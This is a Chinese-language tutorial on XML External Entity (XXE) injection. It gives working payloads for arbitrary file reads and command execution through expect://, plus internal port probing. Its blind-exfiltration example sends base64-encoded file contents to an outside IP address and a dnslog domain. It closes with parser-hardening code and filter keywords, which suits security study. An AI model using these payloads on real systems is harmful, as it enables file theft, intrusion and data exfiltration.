XML实体注入漏洞总结(XXE)

XML实体注入漏洞的总结。

xml基础知识

http://www.w3school.com.cn/xml/index.asp

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。DTD声明始终以!DOCTYPE开头,空一格后跟着文档根元素的名称。

DTD声明:

实体定义:

%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。

外部实体支持的类型

xml实体注入产生原理

xml实体注入是DTD引用外部实体导致的漏洞

检测漏洞

判断xml能否解析

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ <!ENTITY name "my name is nMask">]>
<root>&name;</root>

判断是否支持外部调用

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ <!ENTITY name SYSTEM "http://47.95.206.199/index.html">]>
<root>&name;</root>

读取任意文件

有回显状态下

1
2
3
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE x[<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<value>&xxe;</value>

在网站的正常发送的xml前面加上一个DTD实体的声明,然后在某个标签内调用。

无回显的状态下

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=d:/tony.txt">
<!ENTITY % dtd SYSTEM "http://47.95.206.199/1.xml">
%dtd;
%send;
]>
<root></root>

1.xml的内容为:

1
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://47.95.206.199/xxe.php?file=%file;'>"> %payload;

PS:配合dnslog会更好用

payload和上面一样。

1
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://%file;.t00ls.3e426ecf5c48221e002db4ae061cc4bc.tu4.org'>"> %payload;

执行命令

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://whoami" >]>
<name>&xxe;</name>

要求PHP支持expect拓展,好像默认是没开的。

内网探测

探测内网服务器端口

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<name>&xxe;</name>

攻击内网机器

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1/payload" >]>
<name>&xxe;</name>

XXE的防御方法

使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();    dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。